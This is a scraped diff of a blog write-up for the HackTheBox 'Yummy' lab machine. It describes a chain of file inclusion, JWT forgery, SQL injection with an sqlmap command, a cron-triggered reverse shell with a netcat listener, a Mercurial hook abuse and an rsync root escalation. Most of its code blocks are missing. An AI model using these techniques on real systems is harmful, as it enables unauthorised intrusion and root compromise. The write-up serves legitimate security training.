You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: _posts/2025-02-21-htb-yummy.md
+68-61Lines changed: 68 additions & 61 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -2,17 +2,17 @@
2
2
layout: single
3
3
title: "HTB Yummy Writeup"
4
4
seo_title: "Writeup for the HackTheBox Yummy Machine"
5
-
date: 2025-02-21 12:00:00 +0200
5
+
date: 2025-02-22 16:01:00 +0200
6
6
categories: ['HackTheBox', 'Linux']
7
7
classes: wide
8
8
toc: true
9
9
header:
10
10
teaser: "/assets/images/headers/Yummy.png"
11
11
---
12
-
The "Yummy" machine on HackTheBox is a hard Linux machine that starts off with a Local File Inclusion (LFI) vulnerability in order to read the locations of several cron job scripts. These scripts lead to a database backup script of the website's source code that leaks a secret JWT key to forge a token for the admin account on the site. The backend is vulnerable to SQL injection that gives us initial access to the machine. Further enumeration reveals the password for another user that can run a command as root to move laterally to a developer account. This account can run `rsync` as root, which allows us to write a SSH key to the root user.
12
+
"Yummy" is a hard Linux machine that starts off by finding a Local File Inclusion (LFI) vulnerability in order to find several cron job scripts. These scripts lead to a database backup script of the website's source code that leaks a secret JWT key to forge a token for the admin account on the site. The backend is vulnerable to SQL injection that gives us initial access to the machine. Further enumeration reveals the password for another user that can run a command as another user to move laterally to a developer account. This account can run `rsync` as root, which allows us to copy the root user's SSH key.
13
13
14
14
# Reconnaissance
15
-
Our initial port scan only shows the standard port 22 and 80 open.
15
+
Our initial port scan only shows two standard ports open, 22 and 80.
16
16
17
17
```
18
18
# Nmap 7.94SVN scan initiated Sun Oct 6 14:04:12 2024 as: nmap -p- -sCV -v -oN yummy.nmap 10.129.74.97
@@ -32,19 +32,19 @@ PORT STATE SERVICE VERSION
32
32
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
33
33
```
34
34
35
-
The website redirects us to `yummy.htb` and also displays that the version in use is **Caddy**. We add the domain to the `/etc/hosts` file and continue to explore the webpages. After creating an account and logging in, we can book tables.
35
+
Navigating to the website redirects us to `yummy.htb` and also displays that the version in use is **Caddy**. We add this domain to the `/etc/hosts` file and continue to explore the webpages. After creating an account and logging in, we can make a reservation.
36
36
37
37

38
38
39
-
From our dashboard, it is possible to save our reservation to a calendar file (ics).
39
+
From our dashboard, it is possible to save our reservation to a calendar file (ics) via the `save iCalendar` option.
The request makes a call to the `/export/Yummy_reservation_YYYYMMDD_hhmmss` endpoint where the date is the current timestamp of the export. This endpoint is vulnerable to LFI and we can alter the request to read any file the web user has access to.
43
+
The request makes a call to the `/export/Yummy_reservation_YYYYMMDD_hhmmss` endpoint where the date is the current timestamp of the export. This endpoint is vulnerable to LFI and we can alter the request to read arbitrary files as the `www-data` user.
44
44
45
45

46
46
47
-
From the leaked file, we can already identify several users on the machine:
47
+
From the `/etc/passwd` file, we can already identify several users on the machine.
48
48
49
49
```
50
50
root:x:0:0:root:/root:/bin/bash
@@ -54,18 +54,18 @@ caddy:x:999:988:Caddy web server:/var/lib/caddy:/usr/sbin/nologin
54
54
qa:x:1001:1001::/home/qa:/bin/bash
55
55
```
56
56
57
-
Further enumeration reveals that the contents of the crontabs file contains some scripts.
57
+
Further enumeration reveals that the contents of the `/etc/crontab` file contains some scripts.
*/15 **** mysql /bin/bash /data/scripts/table_cleanup.sh
62
62
***** mysql /bin/bash /data/scripts/dbmonitor.sh
63
63
```
64
64
65
-
Again we can download those files via the LFI vulnerability and check their contents.
65
+
We can download those files via the LFI vulnerability and check their contents.
66
66
67
67
## App Backup
68
-
The contents of the `app_backup.sh` script reveals the location of a zip file.
68
+
The contents of the `app_backup.sh` script reveals the location of a zip file in the `/var/www` directory.
69
69
70
70
```bash
71
71
#!/bin/bash
@@ -75,7 +75,11 @@ cd /var/www
75
75
/usr/bin/zip -r backupapp.zip /opt/app
76
76
```
77
77
78
-
The zip file is a backup of the original source code. Now we can proceed to do some code analysis and see if we can spot some additional vulnerabilities or credentials. The login method is interesting.
78
+
This zip file is a backup of the original source code located in `/opt/app`. After downloading the zip and extracting it, we have the application's source code.
79
+
80
+

81
+
82
+
We can proceed to do some code analysis and see if we can spot additional vulnerabilities or credentials. The login method in `app.py` looks interesting.
79
83
80
84
```python
81
85
if user:
@@ -95,62 +99,48 @@ else:
95
99
return jsonify(message="Invalid email or password"), 401
96
100
```
97
101
98
-
It uses the `signature.py` module to encode the payload into a JWT token. The payload does contain the RSA module (n) and the encryption exponent (e). With knowledge of these values, we can decode any JWT token to find the original prime factors p and q and break the encryption.
102
+
It uses the `signature.py` module to encode the payload into a JWT token. The payload does contain the RSA modulus n and the encryption exponent e. With knowledge of these values, we can decode any JWT token to find the original prime factors p and q and break the encryption.
99
103
100
-
Let's have a look at how we can decode our 'customer' token and modify it to become an 'administrator'.
104
+
Let's have a look at how we can decode our `customer` token and modify it to become `administrator`.
101
105
102
106
```python
103
-
import base64, json, jwt, sympy
107
+
import base64, json, jwt# pip install pyjwt
104
108
from Crypto.PublicKey importRSA
105
109
from cryptography.hazmat.backends import default_backend
106
110
from cryptography.hazmat.primitives import serialization
If we run the above script and insert our user JWT in the token field, we now have a JWT that has the 'administrator' role. Now let's see what we can do with this. Further along in the code of `app.py` there is an SQL Injection vulnerability in the `admindashboard` endpoint.
141
+
We insert our current user JWT token in our script and run it. This will then print out a new JWT that has the `administrator` role and should be able to access the admin panel. Further along in the code of `app.py` there is also an SQL Injection vulnerability in the `admindashboard` endpoint.
152
142
153
-
```sql
143
+
```python
154
144
# added option to order the reservations
155
145
order_query = request.args.get('o', '')
156
146
@@ -162,7 +152,18 @@ Let's perform a search query on the admin dashboard and intercept the request wi
162
152
163
153

164
154
165
-
Now we need to figure out what we can do with this. Remember we still have a couple of cron files we haven't looked at yet, one of which is the `dbmonitor.sh` script. After we download this file via the same method as before, some things stand out.
155
+
By using SQLMap we can check our user privileges:
156
+
157
+
```bash
158
+
$ sqlmap -r request --privileges
159
+
160
+
[15:27:11] [INFO] retrieved: 'FILE'
161
+
database management system users privileges:
162
+
[*] 'chef'@'localhost' [1]:
163
+
privilege: FILE
164
+
```
165
+
166
+
We have `FILE` permissions, meaning we can read and write arbitrary files. Remember we still have a couple of cron scripts we haven't looked at yet, one of which is the `dbmonitor.sh` script owned by the `mysql` user. After we download this file via the same method as before, some things stand out.
If the file `dbstatus.json` exists and does not conain the string "database is down" then it runs a command with `/bin/bash`. Afterwards it deletes the JSON file and runs this every minute or so. The `latest_version` variable lists the contents of the scripts folder with a wildcard. First we create a reverse shell script.
188
+
If the file `dbstatus.json` exists and does not conain the string "database is down" then it runs a command with `/bin/bash`, afterwards it deletes the JSON file. This script is ran every minute. The `latest_version` variable lists the contents of the scripts folder with a wildcard. This script will sort all scripts starting with `fixer-v` and executes the last matching script (tail). Since we can write files via the SQL injection vulnerability, we can get a reverse shell.
189
+
190
+
First we create a reverse shell script and run a Python web server.
We create a small script that automates our exploit.
198
+
We create a small script that automates the exploitation. It first grabs our payload, writes it to `/data/scripts/fixer-v999` and then writes an empty string to `/data/scripts/dbstatus.json` in order to execute our payload.
We run the above script and after a minute we should have received a connection back to our machine.
215
+
We start a netcat listener on port 9001, run the above script and after a minute we should have received a connection back to our machine.
216
+
217
+
```bash
218
+
$ nc -nvlp 9001
219
+
mysql@yummy:/var/spool/cron$
220
+
```
213
221
214
222
# User
215
-
After getting a shell as the `mysql` we still have very limited access. We can move laterally to the `www-data` user since there is also a script (`app_backup.sh`) that runs every minute by this user. Therefore we can remove the backup file and replace it with our shell script.
223
+
## Mysql to www-data
224
+
After getting a shell as the `mysql` we still have very limited access. We can move laterally to the `www-data` user since there is also a script (`app_backup.sh`) that runs every minute by this user. We are able to remove the backup file and replace it with the same reverse shell script.
Meanwhile, we run a netcat listener to catch another shell (it might take a few tries). Now we can enter the web folders. We can find a password for another user in the `/var/www/qa_testing/.hg/store/data/app.py.i` file.
233
+
We again run a netcat listener to catch the shell (it might take a few tries).
234
+
235
+
## www-data to qa
236
+
We can find a password for the `qa` user in the `/var/www/qa_testing/.hg/store/data/app.py.i` file.
237
+
225
238
```console
226
239
www-data@yummy:~$ cd /var/www/app-qatesting/.hg/store/data
Looking online this command is used by Mercurial SCM. In our home folder we have a `.hgrc` file that contains some configuration options.
253
-
254
-
One option of Mercurial is to create hooks that run before/after certain actions. From the [Mercurial Docs](https://repo.mercurial-scm.org/hg/help/hgrc) there is also a hook called `post-<command>` that runs after successful invocations of the associated command.
265
+
Looking online this command is used by Mercurial SCM. In our home folder we have a `.hgrc` file that contains some configuration options. One option of Mercurial is to create hooks that run before/after certain actions. From the [Mercurial Docs](https://repo.mercurial-scm.org/hg/help/hgrc) there is also a hook called `post-<command>` that runs after successful invocations of the associated command.
When running the command, we get a permission denied so we try another way. From the same Docs, you can also specify the configuration file inside the `.hg` folder per repository. We can create this file in the `/tmp` directory and then try to run our exploit again.
280
+
When running the command, we get a permission denied error so we try another way. From the same documentation, you can also specify the configuration file inside the `.hg` folder per repository. We can create this file in the `/tmp` directory and then try to run our exploit again.
We now have a shell as the `dev` user that can run `rsync` as root. We can exploit this by copying `/bin/bash` and changing the permissions so that after running the command we can run the binary as the root user.
290
+
We now have a shell as the `dev` user that can run `rsync` as root. Rsync is a tool for synchronizing files and directories between location.
The key element is the `--chmod` flag of the rsync binary. This addtional parameters changes the ownership of the copied file. Since we are the `dev` user, all files will be copied under our permissions, so this option lets us change the permission of file we copied from the root directory. Now we can copy the SSH key and login as the root user.
305
+
The key element is the `--chmod` flag of the rsync binary. This additional parameter changes the ownership of the copied file. Since we are the `dev` user, all files will be copied under our permissions, so this option lets us change the permission of file we copied from the root directory. Now we can copy the SSH key and login as the root user.
0 commit comments